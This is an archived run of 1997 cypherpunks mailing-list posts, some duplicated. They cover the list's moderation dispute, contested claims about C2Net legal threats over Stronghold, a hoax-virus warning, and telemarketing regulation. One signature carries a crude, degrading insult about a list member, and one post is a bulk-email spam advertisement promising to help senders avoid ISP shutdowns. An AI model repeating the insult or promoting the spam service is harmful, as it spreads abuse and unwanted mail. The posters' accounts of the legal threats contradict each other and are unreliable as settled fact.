unsubscribed Dimitri, and modified majordomo at toad.com to siltently ignore Dimitri's attempts to resubscribe. Dimitri could still post, and presumably read cypherpunks with a different email address or via an archive. It was a token unsubscription only. 5. When Dimitri figured out what John had done, he made many posts denigrating John as a censor 6. Much discussion ensued critisizing John for blocking Dimitri 7. Over Christmas some joker subscribed cypherpunks at toad.com to a load of sports mailing lists, Hugh Daniels and John cleaned up the mess 8. Followed a long thread on hardening lists against spam attacks 9. John made a post to the list announcing that the list would be moderated for one month from Jan 11 as an experiment, and included Sandy Sandfort's proposed moderatation policy and offer to act as moderator. It appeared that the moderation experiment was Sandy's suggestion, and that John had agreed to go along with it. 10. Some discussion both pro and con of moderation, and the technical , free speech, and legal aspects followed 11. Moderation started Jan 19, the main list became the moderated list 12. Lots of people complained about the moderation, some defended it Tim May quietly unsubscribed 13. Some people complained about inconsistency in moderation -- some articles which went to flames were not flamish, but made by posters with low reputation capital, or were following up to posts which were flamish. 14. After a while some people commented on Tim's absence, and sent him mail asking what happened. Tim posted an article explaining that he had left because of the imposed moderation without discussion. 15. John followed up with a post defending the moderation experiment, and arguing for it's popularity (he claimed as evidence the number of posters who had not taken the trouble to move to the unedited list). 16. Dimitri posted an article where he claimed that there was a security flaw in Stronghold. Stronghold is C2Nets commercial version of the freeware Apache SSL web server. Sandy is employed by C2Net. 17. Sandy dropped the posting entirely -- it went to neither cypherpunks (edited), nor cypherpunks-flames. He considered that forwarding the posting would have made him legally liable. Sandy is a lawyer by profession. He did not explain this situation on the list. 18. Tim May had by now subscribed to cypherpunks-flames, and posted several follow-ups to Dimitri's posting, discussing the issue of Dimitri's post being dropped, and stated that Dimitri's posting was not flamish, and should not have been dropped in his opinion. Tim's postings were also silently dropped, going to neither of cypherpunks (edited), and cypherpunks-flames. 19. Sandy made an announcement that he was ending his participation in the moderation experiment. Still no explanation of why posts were dropped, or even admission that they were. 20. The two moderated cypherpunks lists (cypherpunks and cypherpunks-flames) went dead for some time. 21. Tim received a warning from C2Net's lawyers that if he did not desist from mentioning that Dimitri had posted an article criticising a C2Net product that he would be sued! 22. John posted a statement where he explained Sandy's sudden announcement of ending his particpation. John explained that Sandy had "hit a pothole in the moderation experiment when Mr. Nemesis submitted a posting containing nothing but libelous statements about Sandy's employer". Sandy did not drop Johns posting even though it covered the same topics that had resulted in Tim's posts being dropped, and resulted in Tim receiving legal threats from C2Net. In the same post John said that he had come to the conclusion that he was no longer willing to host the cypherpunks list. In this post John announced that Sandy had been persuaded to continue to moderate for the remainder of the moderation period, and gave the new policy. The changes were that anything other than crypto discussion and discussion of forming a new cypherpunks list would go to flames, and anything that Sandy thought was libelous would be dropped silently. 23. Sandy posted a statement affirming that he would continue to moderate, and that if any cypherpunks wished to discuss his prior moderation policy and performance as a moderator that they do it on new lists which they create themselves. (If Sandy's current moderation criteria mean that he feels obliged to forward this post to cypherpunks-flames as off-topic, or even to silently drop it from both moderated lists, so be it. I will simply repost it later, when the moderation experiment is over on one of the new lists. In the event of myself receiving legal threats, I shall simply post it via a remailer, or rely on someone else to do so. C2 does not appear to be running any remailers at the moment, otherwise I would use a remailer hosted at c2.net as the exit node in the remailer chain.) The positive outcome of all this has been to make the cypherpunks list more resilient to legal attack. The new distributed list seems to be progressing well, and will be less liable to attack. Filtering services continue, as they should. And alt.cypherpunks has been created as a forum ultimately resistant to legal attack. Also I should say that I would hope that no one holds any long term animosity towards any of the players in this episode, many of the people have been very prolific in their work to further online privacy and freedom, and I hope that we can all put this chapter behind us. Now more fun things... Anyone checked out the DES breaking project? Over on http://fh28.fa.umist.ac.uk/des/ are details of mailing lists where people are organising breaking RSADSIs DES challenge. For the RC5/32/12/6 (48 bit RC5) break which took 13 days, it seems there were a peak of 5000 machines involved. At this rate it will take 8 months to break DES. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 -----BEGIN PGP SIGNED MESSAGE----- Friends: Please post the date when this list will shift to Usenet if that is indeed to happen. I have not been able to sort out the facts (?) from the speculation, argument, and gas. I have requested my ISP to add alt.cypherpunks to the mail server asap. I don't want to miss a second of the resurrected (or is that born again?) c'punks. Thanks. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMwextiKJGkNBIH7lAQEF2gP+LiPlzbHaFKg6lpJZoKSf2RLiMfQAlOkf 7tDQB9M+gtyJLM/xN0GjmkbNQk6blVFyAHuCY4GW7MzoReHoca08FfZ7+tRyFniK AoBwbnqPv8ZQN9MbfaEzt1gjKGMDXHaUM8CCOk0Pt3aPxnd+SsuNVUfZCF7Hg7QS mE47juLt06M= =aqD9 -----END PGP SIGNATURE----- From ckuethe at gpu.srv.ualberta.ca Sun Feb 16 17:23:08 1997 From: ckuethe at gpu.srv.ualberta.ca (Chris Kuethe 1024) Date: Sun, 16 Feb 1997 17:23:08 -0800 (PST) Subject: Questions about Naughty Robot (fwd) In-Reply-To: <199702162241.OAA04951@toad.com> Message-ID: On Sun, 16 Feb 1997, Genocide wrote: > > I got this message (on a system that I am webmaster on) regarding > something that sounded so stupid it made me chuckle...Naughty Robot...I > have enclosed the message below. If any of you have any idea what this > user is talking about, any info would be appreciated. > > Personally it sounds like another "GoodTimes Virus" again... > > Genocide > Head of the Genocide2600 Group It is another fake... this is what my ISP's sysadmin sent me about it... ----Begin Fwd Message---- Subject: NaughtyRobot - DON'T PANIC! Date: Sun, 16 Feb 1997 15:10:38 -0700 From: owner-all-users Reply-To: Zbigniew Indelak You may receive (or may have already received) a message that looks like if it was sent from your own account with the subject line "security breached by NaughtyRobot". In the message, you will most likely be told that all of your personal information has been accessed by NaughtyRobot and that you should contact the police, disconnect your phone line, cut up your credit cards and report them as stolen, etc, etc. DON'T PANIC! It's just a bad joke someone is playing on you. For more information on this issue, read the article at http://www.rah96.com/rah96/naughtyr.shtml -- Zbigniew Indelak (ZeeBee) | mailto:zeebee at superiway.net Network Operations Manager | http://www.superiway.net Super i-Way Internet Services | Tel: (403)413-9465 -- Chris Kuethe LPGV Electronics and Controls 'finger -l ckuethe at gpu.srv.ualberta.ca' for pgp keys http://www.ualberta.ca/~ckuethe/ RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Timmy `C' May, a product of anal birth, appeared with a coathanger through his head. _______c___c / /_ _\ | ((6)(6)) ( )_ __\\ //__ o___n) (nn)\o/(nn) From jer+ at andrew.cmu.edu Sun Feb 16 17:58:04 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Sun, 16 Feb 1997 17:58:04 -0800 (PST) Subject: When and where? In-Reply-To: <3.0.32.19970216201759.006a5318@smtp1.abraxis.com> Message-ID: <0n1vgT200YUe051Es0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- camcc at abraxis.com (Alec) writes: > Please post the date when this list will shift to Usenet if that is indeed to > happen. I have not been able to sort out the facts (?) from the speculation, > argument, and gas. > > I have requested my ISP to add alt.cypherpunks to the mail server asap. I hope you misspelled "news server." alt.cypherpunks (and subgroups) is a newsgroup. > I don't want to miss a second of the resurrected (or is that born again?) > c'punks. You should join one of the distributed mailing lists (choose the list admin you like/trust the most). There is supposed to be a gateway between the mailing list and the newsgroup, but it is not up yet. Here's the overview: cypherpunks at toad.com is going away. In its place is a distributed forum. This forum is currently made up of a network of mailing lists, which send all their messages to each other. In the future, the newsgroup alt.cypherpunks will be added to this network (posts to the newsgroup go to the mailing lists, mail to the lists goes to the newsgroup). The mailing lists will be faster than the newsgroup, the newsgroup will probably let you use better filtering tools. Your choice. HTH, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole (Cool, "newsgroup" is the first word in four consecutive lines. I did not do this on purpose, even.) -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwe7G8kz/YzIV3P5AQE/lwMAl9FsFoIKk8KF87nDUfczmO3dxo4bDANe bxaF9/daqiyR+Ck8vuTZw7YNc0DrsmEDY+Mr0WMuUrcybngagIxsQyuo56jETdLC T93ixsHuO7jhW4075ipfH/5MWMkI1zKz =G83r -----END PGP SIGNATURE----- From jer+ at andrew.cmu.edu Sun Feb 16 18:11:09 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Sun, 16 Feb 1997 18:11:09 -0800 (PST) Subject: When and where? Message-ID: <199702170211.SAA12987@toad.com> -----BEGIN PGP SIGNED MESSAGE----- camcc at abraxis.com (Alec) writes: > Please post the date when this list will shift to Usenet if that is indeed to > happen. I have not been able to sort out the facts (?) from the speculation, > argument, and gas. > > I have requested my ISP to add alt.cypherpunks to the mail server asap. I hope you misspelled "news server." alt.cypherpunks (and subgroups) is a newsgroup. > I don't want to miss a second of the resurrected (or is that born again?) > c'punks. You should join one of the distributed mailing lists (choose the list admin you like/trust the most). There is supposed to be a gateway between the mailing list and the newsgroup, but it is not up yet. Here's the overview: cypherpunks at toad.com is going away. In its place is a distributed forum. This forum is currently made up of a network of mailing lists, which send all their messages to each other. In the future, the newsgroup alt.cypherpunks will be added to this network (posts to the newsgroup go to the mailing lists, mail to the lists goes to the newsgroup). The mailing lists will be faster than the newsgroup, the newsgroup will probably let you use better filtering tools. Your choice. HTH, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole (Cool, "newsgroup" is the first word in four consecutive lines. I did not do this on purpose, even.) -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwe7G8kz/YzIV3P5AQE/lwMAl9FsFoIKk8KF87nDUfczmO3dxo4bDANe bxaF9/daqiyR+Ck8vuTZw7YNc0DrsmEDY+Mr0WMuUrcybngagIxsQyuo56jETdLC T93ixsHuO7jhW4075ipfH/5MWMkI1zKz =G83r -----END PGP SIGNATURE----- From sandfort at crl.com Sun Feb 16 18:11:11 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Sun, 16 Feb 1997 18:11:11 -0800 (PST) Subject: Moderation experiment and moderator liability (fwd) Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, Adam has assembled a pretty good history of recent events. The following comments only cover some of the issues raised by Adam. It should not be assumed that I agree with all the statements upon which I do not comment. I have limited myself to commenting on only a few issues with which I am in dispute. On Sun, 16 Feb 1997, Adam Back wrote: > Events: > 9. John made a post to the list announcing that the list would be > moderated for one month from Jan 11 as an experiment, and included > Sandy Sandfort's proposed moderatation policy and offer to act as > moderator. It appeared that the moderation experiment was Sandy's > suggestion, and that John had agreed to go along with it. Moderation was my suggestion, but the moderation policy was not. My suggestion was quite different. In a nutshell I wanted to: a. Limit posts to list members only. b. Promote civility on the list by applying sanction to list members who repeatedly flamed or otherwise breached civil decorum. c. Provide for anonymous or non-member posts by having volunteers act as "gateways" who would forward anonymous--but civil--posts to the list. Curiously, in a subsequent telephone conversation, Tim May proposed almost that exact suggestion as an alternative form of moderation that he said would have been acceptable to him. Go figure. > 21. Tim received a warning from C2Net's lawyers that if he did not > desist from mentioning that Dimitri had posted an article criticising > a C2Net product that he would be sued! Absolutely false. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From camcc at abraxis.com Sun Feb 16 18:11:15 1997 From: camcc at abraxis.com (Alec) Date: Sun, 16 Feb 1997 18:11:15 -0800 (PST) Subject: When and where? Message-ID: <199702170211.SAA12998@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Friends: Please post the date when this list will shift to Usenet if that is indeed to happen. I have not been able to sort out the facts (?) from the speculation, argument, and gas. I have requested my ISP to add alt.cypherpunks to the mail server asap. I don't want to miss a second of the resurrected (or is that born again?) c'punks. Thanks. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMwextiKJGkNBIH7lAQEF2gP+LiPlzbHaFKg6lpJZoKSf2RLiMfQAlOkf 7tDQB9M+gtyJLM/xN0GjmkbNQk6blVFyAHuCY4GW7MzoReHoca08FfZ7+tRyFniK AoBwbnqPv8ZQN9MbfaEzt1gjKGMDXHaUM8CCOk0Pt3aPxnd+SsuNVUfZCF7Hg7QS mE47juLt06M= =aqD9 -----END PGP SIGNATURE----- From ckuethe at gpu.srv.ualberta.ca Sun Feb 16 18:12:42 1997 From: ckuethe at gpu.srv.ualberta.ca (Chris Kuethe 1024) Date: Sun, 16 Feb 1997 18:12:42 -0800 (PST) Subject: Questions about Naughty Robot (fwd) Message-ID: <199702170212.SAA13047@toad.com> On Sun, 16 Feb 1997, Genocide wrote: > > I got this message (on a system that I am webmaster on) regarding > something that sounded so stupid it made me chuckle...Naughty Robot...I > have enclosed the message below. If any of you have any idea what this > user is talking about, any info would be appreciated. > > Personally it sounds like another "GoodTimes Virus" again... > > Genocide > Head of the Genocide2600 Group It is another fake... this is what my ISP's sysadmin sent me about it... ----Begin Fwd Message---- Subject: NaughtyRobot - DON'T PANIC! Date: Sun, 16 Feb 1997 15:10:38 -0700 From: owner-all-users Reply-To: Zbigniew Indelak You may receive (or may have already received) a message that looks like if it was sent from your own account with the subject line "security breached by NaughtyRobot". In the message, you will most likely be told that all of your personal information has been accessed by NaughtyRobot and that you should contact the police, disconnect your phone line, cut up your credit cards and report them as stolen, etc, etc. DON'T PANIC! It's just a bad joke someone is playing on you. For more information on this issue, read the article at http://www.rah96.com/rah96/naughtyr.shtml -- Zbigniew Indelak (ZeeBee) | mailto:zeebee at superiway.net Network Operations Manager | http://www.superiway.net Super i-Way Internet Services | Tel: (403)413-9465 -- Chris Kuethe LPGV Electronics and Controls 'finger -l ckuethe at gpu.srv.ualberta.ca' for pgp keys http://www.ualberta.ca/~ckuethe/ RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 *If you want to be removed from our mailing list, please respond to this email and put "Remove" in the subject line. We will send out your bulk E Mail. Period. No qualifiers, no conditions, no nonsense...and we'll do it at the best prices. We are Product Link. We are a business partner with a marketing company which develops buyers for its clients' products through electronic marketing; primarily broadcast fax. Together, we have over a hundred clients, almost 10% of which are Fortune 500 companies. We have numerous staff, and have just begun, at client request, to send high volumes of E Mail. If you're new to bulk E Mail marketing, as we were a short time ago, I can confirm that all the E Mails you've been getting from E Mail software companies about how great E Mail marketing is; well, they're true. However, as those of you who have already purchased software and have tried bulk E mail know, nothing good ever comes easy. Our staff has spent millions of advertising dollars on our clients' behalf; everything from commercials on the Superbowl to ads in the New York Times, to full page spreads in Scientific American.; not to mention the sending of over 1,000,000 marketing faxes a year for major corporations. Bulk E mail has been quite an eye opener. The Internet, the on line services and ISP providers are full of shrill, self appointed "net cops," whose mission in life seems to be dumping on those who have the audacity to sell product via E Mail. I don't wish nor intend to debate the issue here, except to say that if you've purchased bulk E Mail software (or intend to), you've already found out that when you attempt to use it, your ISP provider will shut you down, your E Mail account will be bombed, and electronic flames will become a way of life. Since we have a low tolerance for allowing small groups of vocal fanatics to dictate our business life, we set up our own system to send out Bulk E Mail. This system will be greatly expanded in 30 days or so (we're installing more T lines), but we currently have room on our system to send out Bulk E Mail for a limited number of companies or individuals other than ourselves. We'll send out your order, large or small. We'll do it quickly, and we'll do it at a really great price. You can supply the list, or we'll supply the list. Place an order with us, and we'll give you advice on how to set up your E Mail so your on line service won't shut you down, how to write your material, and much more. We will also write your marketing material, if you so desire. If you supply a list, we can run it through our computer program to sort out all duplicates and bad AOL or CompuServe addresses. If you buy a list from us, we will guarantee that the exact number of names you order will go out; if we send a list for you and a number of addresses are not delivered, we will send out more E Mails until you get delivered exactly what you ordered. We can even tell you how to confirm that your list was sent. We also have programs that can filter out E Mail "bombs" and other irritating toys played with at your expense by people who don't have a life. When we first began exploring bulk E mail, we contacted numerous firms advertising that they would send out bulk E mail. What we got was answering machines, disconnected numbers, and no call backs. The one firm that did contract us would only send limited numbers of E mails for us, and then only if we had already sent the list out once and taken off all the removes (go figure...if we could send out the list once, what did we need them for?). We finally got so exasperated, we set up our own system. And are we glad we did. Speaking as a marketing man with over 30 years experience in major advertising, E Mail marketing will change the face of advertising and cost of sale forever. I do not believe that has ever been a vehicle like it in history to allow anyone of any size and any budget to advertise and sell their products literally overnight. We employ 18 people, and I guarantee you that when you E Mail us back, you'll get a call. Right away. And the office phone number we give you, will have a live person at the other end. Following is a price list to give you an idea of the quality of our company. Please bear in mind that Bulk E Mail is effective in large numbers; i.e., 25,000 and above. Price List To Send Bulk E Mail: Amount Cost Set Up (One Time Fee) 25,000 $150.00 $50.00 50,000 $275.00 $50.00 75,000 $400.00 $50.00 100,000 $550.00 $50.00 Bulk E Mail amounts above 100,000 per sending will be bid on a case by case basis. If you wish to modem us a list, there may be a small charge for down load depending on list size. If you wish us to "clean" your list (remove all duplicates and bad addresses), we will supply a bid on a case by case basis as with writing your marketing materials and other services. If we may be of service to you, please call us directly at (805) 654-4042. Thank you. From tcmay at got.net Sun Feb 16 18:25:03 1997 From: tcmay at got.net (Timothy C. May) Date: Sun, 16 Feb 1997 18:25:03 -0800 (PST) Subject: More on digital postage In-Reply-To: <199702162336.SAA28881@homer.iosphere.net> Message-ID: At 6:36 PM -0500 2/16/97, Cynthia H. Brown wrote: >My understanding is that the legislation restricts commercial >solicitations by phone to: > >- certain times of day (not after 9 PM? unsure) >- one initial call, and no follow-ups if the person explicitly asks >the caller to never phone this number again (again, unsure of legal >details) > >I don't consider this scenario overly restrictive, since it gives >_them_ a chance to sell their product, and _me_ a chance to have them >delete my name from their database. Unfortunately, without some >formal means of redress, very few telemarketers seem to remember that >they are unlikely to find new customers if they call at 7 AM Saturday >for the third time this month. I despise telemarketing calls as much as the next one, and I now let my answering machine do the answering whenever possible, only picking up if it's a call that sounds interesting. (And my cellular phone number I give to only a very few people, as I get charged for incoming calls before 7 p.m.) So, I'm sympathetic to the "problem." However, I try to always "deconstruct" governmental/regulatory "solutions" to see if statist encroachment is lurking in the bushes. In the case of the notion of "have them delete my name from their database," here are some of the issues: * The Armour Spam Company buys its data bases from direct marketing firms, so whose data base is one's name supposed to be removed from? The instance used by Armour in its February 17th contact, or the "parent index" (which is itself an instance) controlled by someone else? How does Armour insist that the data base company from which it bought the data base handle the removal? * If the argument is only that Armour Spam Company not repeat a call, this is generally not a problem, as few companies repeat their telemarketing pitches; counterexamples doubtless exist, but the general trend is not for repeat calls, but, rather, for the same data base to be bought by multiple telemarketing firms. * And there are "freedom of speech" (important in the U.S., though not perhaps in other countries lacking an explicit provision in their constitutions or charters) issues in forcing sellers of legally obtained data bases to reveal internals, to modify them, etc. (Again, it is Armour Spam Company that made the offending call, but they, for this example, only made the call _once_. The fact that N other companies make similar calls, based on the same data base, is a separable issue. Unless the collection and sale of legally-accumulated data bases is regulated, no real remedy exists. I am not, of course, a fan of regulating data bases, but that's a long and involved issue to discuss.) >What means of redress would you suggest, in the absence of >legislation / fines, to someone who has been called repeatedly by a >telemarketer? This person is not a current customer and so cannot >withdraw his/her business. As I said, I believe the case of repeated calls by the _same_ telemarketer is unusual. Perhaps others have had different experiences. And if a particular telemarketer is banned from calling twice, their solution will be obvious: they'll change their company name, farm out the calls to a subcontractor, etc. That is, they'll become a different "corporate instance." It'll be very tough for any law to keep up with such changes (without trampling severely on what most of us think of us as basic freedoms). --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From dthorn at gte.net Sun Feb 16 18:55:36 1997 From: dthorn at gte.net (Dale Thorn) Date: Sun, 16 Feb 1997 18:55:36 -0800 (PST) Subject: The EFF In-Reply-To: Message-ID: <3307C883.2E0F@gte.net> aga wrote: > On Sat, 15 Feb 1997, Dale Thorn wrote: > > Toto wrote: > > > Timothy C. May wrote: > > > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote: > > > I have a brother-in-law who gives seminars to the Nouveau Riche in > > > the Bay Area, teaching them how to give their money away to 'good' > > > causes. I believe that one of the prime considerations in separating > > > the 'good' causes from the 'bad' causes has something to do with the > > > the proper wine being served with the cheese and cracker offerings > > > during their cocktail parties. > > Wine and cheese are the key. You hit that one on the head. I tried > > those Mensa parties in Beverly Hills a few times, but the girls want > > you to kiss their hands like some kinda princesses or something, > > whereas I think a simple handshake would suffice. So I just quit > > going. Maybe this has something to do with why there are no c-punks > > meetings in the L.A. area. > Dale, so you are in mensa? Did you have to take a test? I joined in 1986 at the urging of my sort-of lawyer (not a real lawyer, but much better actually) from Beverly Hills. He liked the parties since he was trolling for babes; recent (1986) divorce and all. Anyway, Mensa was accepting U.S. Military GT scores prior to 1980, and I scored 153 in 1966, which was the highest at the several posts I did duty in (Ft. Benning GA, Ft. Ord CA, Ft. Lee VA, 4th A.D. Europe). I gave up on it after a few meetings, since I didn't care for the parties, and there didn't seem to be any really active/interesting people there. There was a "rational sig" I wanted to attend, but never got around to. Mensa did put on some good speakers every now and then, but you could do as well by checking in with the Masons or the other local civic groups. From tcmay at got.net Sun Feb 16 19:04:04 1997 From: tcmay at got.net (Tim May) Date: Sun, 16 Feb 1997 19:04:04 -0800 (PST) Subject: Threats of Legal Action and C2Net/Stronghold Issue In-Reply-To: Message-ID: <199702170255.SAA00022@you.got.net> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks, alt.privacy, comp.org.eff.talk) At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote: >Curiously, in a subsequent telephone conversation, Tim May >proposed almost that exact suggestion as an alternative form of >moderation that he said would have been acceptable to him. Go >figure. The only phone conversation I had was with Doug Barnes, at the request of Doug that I urgently phone either him or Sameer. I called Doug as soon as I got the message. (Doug also said he was the only one in the room at the time, and that the call was *not* being recorded, so I have to surmise that Sandy got his version of things via a recap by Doug.) >> 21. Tim received a warning from C2Net's lawyers that if he did not >> desist from mentioning that Dimitri had posted an article criticising >> a C2Net product that he would be sued! > >Absolutely false. > What Doug told me was that Dimitri Vulis had already been served with a legal notice about his warnings about a security flaw in Stronghold, and that any repetition of Dimitri's claims by me or anyone else would result in similar legal action. Doug said that any repetition of the claims, even as part of a quote, would be seen as actionable by C2Net. "We'll vigorously defend our rights." (as best I can recall) He said he thought my messages, to the extent they merely _alluded_ to the claims were probably OK and that they would certainly go through to the list, as Sandy has already resigned from his role as moderator. (For the record, these messages DID NOT GO THROUGH, and have not gone through as of tonight, 8-9 days later. However, I have forwarded them to several people who requested them.) (I also did not have a recorder running, so I can't claim this is a verbatim summary of what was said. As to what I said about how the moderation thing might have been done differently, Doug and I chatted for a while about various alternatives. I raised the point I've made before, that having a "members only" policy, with some special provision for some amount of remailed messages, would probably best suit the notion of keeping the "community" running. What I told Doug was that my main objection was having Sandy sit in judgement to essays folks might have spent a long time composing, and I cited physical parties, where a host invites those he wants in attendance, but does not micromanage or screen conversations being held at the party. My sense was that Doug agreed, and agreed that the whole thing had been handled in a bad way...but Doug should comment to tell his view of things.) The next day, at the physical Cyperpunks meeting at Stanford, I briefly talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he could "take his best shot," in terms of filing suit against me about my messages, as I'm prepared to fight C2Net in court on this matter, and have the financial resources to hire some pretty good lawyers. (I don't recall if Greg replied, or what his reply was.) In a message to Cypherpunks, I outlined my understanding of the Vulis report on security flaws in Stronghold, and put the claims in the context of messages not appearing on either of the two main lists, but none of my messages were sent to either the Main list or the Flames list. (I also had communication with several members of the list, some known to me and some only pseudonyms. I have taken the precaution of erasing these messages and copying files to the disk on which they resided to head off any attempts by C2Net seize my computer and disks as part of some "discovery" process.) I find it unfortunate that C2Net is behaving in such a manner, and their actions are generating far more publicity about the claimed security flaws in Stronghold than the original Vulis message ever would have generated. Sunlight is the best disinfectant, as a Supreme Court justice averred. And suppression is a breeding ground for all sorts of bacteria, fungi, and ugly growth, as a less articulate person said. Reporters interested in this story have already contacted me. They're interested in the situation surrounding the claims of a flaw. I told one reporter I had no expertise in Stronghold, SSL, etc., and could not say, but that I suspected strongly that the claim was made just as a "tweak" of C2Net. "Truth is an absolute defence against libel claims." (P.S. To repeat, I doubt there is a flaw in Stronghold, either introduced by RSA (Republic of South Africa, of course) or by the NSA, or by C2Net, or by anyone else. I said as much in my messages which never made it to the list.) --Tim May -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ichudov at algebra.com Sun Feb 16 19:45:56 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 16 Feb 1997 19:45:56 -0800 (PST) Subject: Threats of Legal Action and C2Net/Stronghold Issue In-Reply-To: <199702170255.SAA00022@you.got.net> Message-ID: <199702170341.VAA02034@manifold.algebra.com> The story about Stronghold security flaws reminds me of The Right Reverend Colin James III (puke). CJ3 also started his kook career when he was accused of being stupid and not knowing what he was talking about in his announcement about performance of BSAM, his "invention". He immediately reacted to the accusers and promised to sue them, their employers, their providers, the Inspector General, and more. He really went after his enemies, trying to get them fired, etc. As a result of his long struggles, most enlightened minds on USENET realized that he was an excellent candidate for Kook of the Month award. A nomination followed. When he was elected Kook of the Month last January with a record-breaking vote, he threatened to sue anyone who mentions his new Kook status. That only added fuel to the fire, as more and more posters "dared" to expose him as a lying forger and kook. - Igor. From sandfort at crl3.crl.com Sun Feb 16 19:56:25 1997 From: sandfort at crl3.crl.com (Sandy Sandfort) Date: Sun, 16 Feb 1997 19:56:25 -0800 (PST) Subject: Moderation experiment and moderator liability (fwd) Message-ID: <199702170356.TAA17430@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, Adam has assembled a pretty good history of recent events. The following comments only cover some of the issues raised by Adam. It should not be assumed that I agree with all the statements upon which I do not comment. I have limited myself to commenting on only a few issues with which I am in dispute. On Sun, 16 Feb 1997, Adam Back wrote: > Events: > 9. John made a post to the list announcing that the list would be > moderated for one month from Jan 11 as an experiment, and included > Sandy Sandfort's proposed moderatation policy and offer to act as > moderator. It appeared that the moderation experiment was Sandy's > suggestion, and that John had agreed to go along with it. Moderation was my suggestion, but the moderation policy was not. My suggestion was quite different. In a nutshell I wanted to: a. Limit posts to list members only. b. Promote civility on the list by applying sanction to list members who repeatedly flamed or otherwise breached civil decorum. c. Provide for anonymous or non-member posts by having volunteers act as "gateways" who would forward anonymous--but civil--posts to the list. Curiously, in a subsequent telephone conversation, Tim May proposed almost that exact suggestion as an alternative form of moderation that he said would have been acceptable to him. Go figure. > 21. Tim received a warning from C2Net's lawyers that if he did not > desist from mentioning that Dimitri had posted an article criticising > a C2Net product that he would be sued! Absolutely false. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From tcmay at got.net Sun Feb 16 19:56:26 1997 From: tcmay at got.net (Timothy C. May) Date: Sun, 16 Feb 1997 19:56:26 -0800 (PST) Subject: More on digital postage Message-ID: <199702170356.TAA17431@toad.com> At 6:36 PM -0500 2/16/97, Cynthia H. Brown wrote: >My understanding is that the legislation restricts commercial >solicitations by phone to: > >- certain times of day (not after 9 PM? unsure) >- one initial call, and no follow-ups if the person explicitly asks >the caller to never phone this number again (again, unsure of legal >details) > >I don't consider this scenario overly restrictive, since it gives >_them_ a chance to sell their product, and _me_ a chance to have them >delete my name from their database. Unfortunately, without some >formal means of redress, very few telemarketers seem to remember that >they are unlikely to find new customers if they call at 7 AM Saturday >for the third time this month. I despise telemarketing calls as much as the next one, and I now let my answering machine do the answering whenever possible, only picking up if it's a call that sounds interesting. (And my cellular phone number I give to only a very few people, as I get charged for incoming calls before 7 p.m.) So, I'm sympathetic to the "problem." However, I try to always "deconstruct" governmental/regulatory "solutions" to see if statist encroachment is lurking in the bushes. In the case of the notion of "have them delete my name from their database," here are some of the issues: * The Armour Spam Company buys its data bases from direct marketing firms, so whose data base is one's name supposed to be removed from? The instance used by Armour in its February 17th contact, or the "parent index" (which is itself an instance) controlled by someone else? How does Armour insist that the data base company from which it bought the data base handle the removal? * If the argument is only that Armour Spam Company not repeat a call, this is generally not a problem, as few companies repeat their telemarketing pitches; counterexamples doubtless exist, but the general trend is not for repeat calls, but, rather, for the same data base to be bought by multiple telemarketing firms. * And there are "freedom of speech" (important in the U.S., though not perhaps in other countries lacking an explicit provision in their constitutions or charters) issues in forcing sellers of legally obtained data bases to reveal internals, to modify them, etc. (Again, it is Armour Spam Company that made the offending call, but they, for this example, only made the call _once_. The fact that N other companies make similar calls, based on the same data base, is a separable issue. Unless the collection and sale of legally-accumulated data bases is regulated, no real remedy exists. I am not, of course, a fan of regulating data bases, but that's a long and involved issue to discuss.) >What means of redress would you suggest, in the absence of 